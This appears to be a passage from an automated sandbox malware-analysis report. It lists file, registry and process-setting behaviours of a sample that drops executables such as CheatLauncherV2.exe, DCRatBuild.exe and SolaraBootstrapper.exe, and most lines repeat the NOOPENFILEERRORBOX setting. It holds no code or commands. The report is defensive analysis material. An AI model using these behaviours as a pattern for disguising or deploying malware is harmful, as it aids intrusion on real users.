Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
